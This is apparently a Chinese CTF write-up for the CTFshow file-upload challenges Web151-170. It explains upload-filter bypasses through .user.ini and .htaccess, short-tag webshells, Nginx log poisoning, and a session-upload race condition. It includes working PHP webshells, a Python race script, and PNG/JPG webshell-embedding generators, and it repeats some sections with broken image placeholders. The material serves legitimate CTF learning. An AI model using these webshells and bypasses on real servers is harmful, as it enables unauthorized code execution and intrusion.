CTFshow-文件上传(Web151-170)
参考了CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客
Web151
要求png,然后上传带有一句话木马的a.png,burp抓包后改后缀为a.php,然后蚁剑连接,找flag
<?php eval($_POST['cmd']);?>
Web152
同上题
Web153
猜测内容是不是有php被识别了,还是不合规
这里我们尝试.htaccess(因为它只适用于Apache)所以不行,这里要使用.user.ini
看题解:
php.ini 是 php 的一个全局配置文件,对整个 web 服务起作用;而.user.ini 和.htaccess 一样是目录的配置文件,.user.ini 就是用户自定义的一个 php.ini,通常用这个文件来构造后门和隐藏后门。
.user.ini
原理: 指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件,巧合的是这题upload目录下有个index.php所以这种方式是可以成功的。
.user.ini的作用
-
配置 PHP 设置:用户可以通过 .user.ini 文件来设置特定目录和子目录下的 PHP 配置。这些设置会覆盖全局 php.ini 的相应配置。
-
特定目录的配置:与 .htaccess 文件类似,.user.ini 文件允许特定目录的细粒度配置,而不会影响整个服务器的设置。
利用 .user.ini 绕过限制
由于 .user.ini 文件可以覆盖某些 PHP 配置,它也可能被恶意利用来绕过服务器管理员设置的限制,以下是一些可能的方式:
- 文件上传限制: 如果服务器全局设置了较低的文件上传大小限制,恶意用户可以通过 .user.ini 文件增加 upload_max_filesize 和 post_max_size,来上传更大的文件。
- 脚本执行时间:恶意用户可能会增加 max_execution_time 以避免脚本执行超时,从而进行更长时间的恶意活动,如暴力破解等。
- 内存限制:增加 memory_limit 可以帮助恶意脚本在执行时获取更多的服务器资源,可能导致拒绝服务攻击(DoS)。
- PHP 文件包含漏洞:auto_prepend_file在 PHP 中,当用户访问.user.ini所在目录主页文件时,auto_prepend_file所指向的文件内容,会自动进行包含,将文件内容当作php代码执行
首先我们编写一个".user.ini"文件
auto_prepend_file=shell.png
这串内容的意思就是,在访问主页文件时,会自动包含shell.png文件,将其文件内容当在php代码执行
所以要求当前目录必须要有php文件getflag思路:我们上传一个.user.ini 文件设置一个文件a.jpg然后访问index.php就相当于包含了a.jpg
以同样的方式上传1.txt或png(php不行)
相当于在该目录下的php文件(index.php)里插入了包含语句include(‘1.png’)
然后用 /upload/index.php
就ok了
Web154
试了半天不行,最后想是不是跟上题一样,然后就过了
注意,这里要短标签
<?= eval($_POST['cmd']);?>
Web155
同154
Web156
php中,[]可以用{}替换,[]被过滤,改成{}
Linux中通配符作用
-
星号(*)星号用于匹配任意数量的字符(包括零个字符)。
-
问号(?)问号用于匹配单个字符。
-
方括号([])方括号用于匹配方括号内的任意一个字符。ls [abc].txt:列出当前目录下所有文件名为a.txt、b.txt或c.txt的文件。
-
大括号({})大括号用于匹配大括号内的任意一个模式。mv {.jpg,.png} images/:将当前目录下所有扩展名为.jpg和.png的文件移动到images/目录。
-
感叹号(!)感叹号用于在方括号内表示排除某个字符。ls [!abc].txt:列出当前目录下所有文件名不是a.txt、b.txt或c.txt的文件。
Web157
{}也被过滤,慢慢找
先ls
然后访问upload/index.php
ls…/试试
<?=system('tac ../f?a?.???')?>Web158
同上题
Web159
PHP命令执行函数
-
exec():exec()执行一个外部程序,并返回最后一行输出的结果。
-
system():system()执行一个外部程序,并输出结果。返回命令的最后一行输出。
-
shell_exec():shell_exec()执行一个命令,并返回完整的输出。
-
passthru():passthru()执行一个命令,并直接输出结果到标准输出(通常是浏览器)。它与system()类似,但不会返回命令的输出。
-
popen():popen()打开一个管道到一个进程,允许读取或写入进程的标准输入/输出。
-
proc_open():proc_open()可以启动一个进程,并更多地控制其输入和输出。
-
``:PHP 也支持用反引号(``)包围命令的方式来执行命令,这是与shell中类似的语法。
<?=`nl ../fl*`?>
<?=`tac ../fl*`?>
Web160
与上题相比,这题将空格和``反引号和log过滤掉了,所以上传的时候要注意略过多余的空格,log可以用点号拼接绕过,且本题不能使用上题的方法,考虑到日志包含,先上传.user.ini
这段代码包含并输出 /var/log/nginx/access.log
文件的内容。由于包含的是一个日志文件,它的内容会直接作为PHP代码执行。
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
ua:<?=`tac ../fl*`?>
然后访问index.php
Web161
需要伪造图片头GIF89a
或者png头
使用16进制编辑器在.user.ini.png 中添加png 文件头 89 50 4E 47 0D 0A 1A 0A 1.png也添加也会成功!!
其它同上题
Web162
条件竞争是什么,简单解释一下,在文件上传中,假设存在如下流程:
- 上传文件后立即保存到服务器。
- 上传成功后进行文件格式的校验。
- 如果文件格式符合要求,则重命名该文件。
- 如果文件格式不符合要求,则删除该文件。
由于服务器在处理多个并发请求时,可能会出现以下几种情况:
访问时间点在文件上传之前:
-
此时,文件尚未上传到服务器,任何对该文件的访问请求将返回“文件不存在”。
-
访问时间点在文件上传成功后,但服务器尚未完成校验及处理:在此时间窗口内,文件已经存在于服务器上,但尚未经过格式校验。任何对该文件的访问请求将会找到文件,但由于文件格式尚未验证,可能存在安全隐患。
-
访问时间点在服务器删除文件之后:
如果文件格式不符合要求,服务器会删除该文件。此时,任何对该文件的访问请求将返回“文件不存在”。
所以,当我们上传的速度比服务器删除的速度快,我们就可以读取到我们的木马文件
上传**.user.ini**
GIF89a
auto_append_file=/tmp/sess_lh
lh可以随缘改,和后面脚本中的sess中的内容相一致即可
接下来用脚本
import requests
import threading
import re# 创建一个会话对象,保持会话的状态
session = requests.session()# 自拟的PHPSESSID,用于保持上传过程中的会话一致性
sess = 'lh'# 目标URL
url1 = "http://58830b4d-39b1-4fbc-976c-f909cd6e8988.challenge.ctf.show/"
url2 = "http://58830b4d-39b1-4fbc-976c-f909cd6e8988.challenge.ctf.show/upload"# POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
data1 = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>' # 使用system函数执行命令
}# 要上传的文件数据
file = {'file': '111' # 文件名可以随意设置
}# 设置会话cookie
cookies = {'PHPSESSID': sess # 上传过程中使用固定的PHPSESSID
}# 定义上传文件的函数,持续发送POST请求
def upload_file():while True:session.post(url1, data=data1, files=file, cookies=cookies)# 定义读取文件的函数,持续检查返回的页面内容
def check_flag():while True:response = session.get(url2) # 访问目标URL,检查是否能获取到flagif 'flag' in response.text: # 检查返回内容中是否包含flag# 正则匹配flag,格式为ctfshow{}flag = re.search(r'ctfshow{.+}', response.text)if flag:print(flag.group()) # 如果找到flag,打印它# 创建两个线程,一个上传文件,一个检查flag
threads = [threading.Thread(target=upload_file),threading.Thread(target=check_flag)
]# 启动所有线程
for t in threads:t.start()
Web163
同上题
Web164
之前的都用不了了,这题要求图片马
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。
脚本:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?># <?=$_GET[0]($_POST[1]);?>
这个脚本便是通过操纵 IDAT
块(图像数据块)将恶意代码插入了其中
运行这个脚本后,将生成的图片木马上传
查看图片
路径也变了
其实也正是因为他是先访问download.php这个代码,然后请求包含image,才能让我们的png图片里的php代码能被解析,否则还是需要配合.user.ini文件才能解析png图片马
这是我们图片马中包含的一句话木马,get方式拿个参数0,post方式拿个参数1
<?=$_GET[0]($_POST[1]);?>0=system 1= ls试试
如果你去抓这个get 请求的包,然后添加传参是不行的。(后面做了下一题,发现是可以在 burpsuite 里面修改请求方式的,都要使用 post 请求)
看图片后,使用 hackbar 添加参数:
get 里面新增:
&0=system
post:
1=ls
mode=raw发包
还要添加请求头:
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded 是 HTTP 请求头中用于指定请求主体的编码格式的字段。它的作用是告诉服务器,客户端发送的数据采用 application/x-www-form-urlencoded 格式进行编码。这个格式通常用于 HTML 表单提交,特别是在使用 POST 方法时。
tac flag.php即可
Web165
JPG二次渲染,脚本
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>
命令行运行脚本
看官解,得用特定的图片
Web166
传zip
zip追加写webshell 首先你需要上传一个zip文件,这个文件内容无所谓,但最关键的是需要将webshell写到文件末尾,此操作需要在winhex下进行。 然后直接上传你的zip文件。 利用的点就在于下载,下载时zip文件会进行文件包含,也就是include,所以你的webshell也会被包含在内,你的webshell最好别用POST要用GET。(这一步最好在BP内进) 最后直接GET请求追加参数来执行webshell即可获得flag
其实不知道原理也能做出来
Web167
.htaccess简介
.htaccess被称为超文本入口,此文件有多个功能,其中一个功能可以改变文件扩展名,同时也可以实现文件夹密码保护、用户自动重定向、自定义错误页面等功能。
首先我们编写 .htaccess文件
<FilesMatch "shell.jpg">SetHandler application/x-httpd-php
</FilesMatch>
这个大概意思是shell.jpg会被当做php文件执行
接下来我们在shell.jpg文件中插入我们的恶意代码
Web168
参考别人的题解,但是这个字典不知道在哪,先标记一下
发现过滤了很多函数,
``没被过滤
然后再tac就行
Web169
限制zip
发现上传完zip不合规,后面发现后端校验了png
还是不行,发现可能过滤了很多东西,随便传个123试试
ps:看官解的时候发现了一个新知识,直接修改这里能直接绕过前端校验,修改为files
还有一个注意点,要合理使用重发器去试错
为什么要这么做呢,有什么意义?
因为之前我们试了很多函数,都被过滤了,留下的方法那就只有日志注入,而
不安全的 include($file),允许外部用户控制 $file 路径。 攻击者操纵的日志文件(例如 /var/log/nginx/access.log)中包含了PHP 代码,而当 PHP 解释器包含这个日志文件时,PHP 代码会被执行。
想要包含日志文件,就需要user.ini,允许其被包含,而user.ini生效的条件之一就是同级目录存在一个php文件
写ua就行
Web170
同上题
上题别搞错顺序了,正常是先上传user.ini,再上传index.php,但是我把indexs和index用到一起了,可能造成误解,先上传的indexs.php只是测试用的,我混用了
图片转存中…(img-pnaUnouR-1734523388094)]
还有一个注意点,要合理使用重发器去试错
[外链图片转存中…(img-6KxloVVt-1734523388094)]
为什么要这么做呢,有什么意义?
因为之前我们试了很多函数,都被过滤了,留下的方法那就只有日志注入,而
不安全的 include($file),允许外部用户控制 $file 路径。 攻击者操纵的日志文件(例如 /var/log/nginx/access.log)中包含了PHP 代码,而当 PHP 解释器包含这个日志文件时,PHP 代码会被执行。
想要包含日志文件,就需要user.ini,允许其被包含,而user.ini生效的条件之一就是同级目录存在一个php文件
[外链图片转存中…(img-kJ0x6qfC-1734523388094)]
[外链图片转存中…(img-h1lDbBib-1734523388094)]
写ua就行
[外链图片转存中…(img-s24YQxMl-1734523388094)]
Web170
同上题
上题别搞错顺序了,正常是先上传user.ini,再上传index.php,但是我把indexs和index用到一起了,可能造成误解,先上传的indexs.php只是测试用的,我混用了